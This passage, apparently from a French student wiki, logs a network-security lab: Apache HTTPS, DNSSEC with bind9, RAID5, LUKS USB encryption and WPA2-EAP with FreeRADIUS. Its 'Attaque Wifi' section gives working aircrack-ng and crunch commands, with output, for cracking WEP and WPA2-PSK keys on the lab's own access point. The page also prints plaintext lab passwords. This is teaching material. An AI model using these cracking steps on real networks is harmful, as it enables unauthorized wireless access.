   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on peut voir nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go.&lt;br /&gt;
 Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
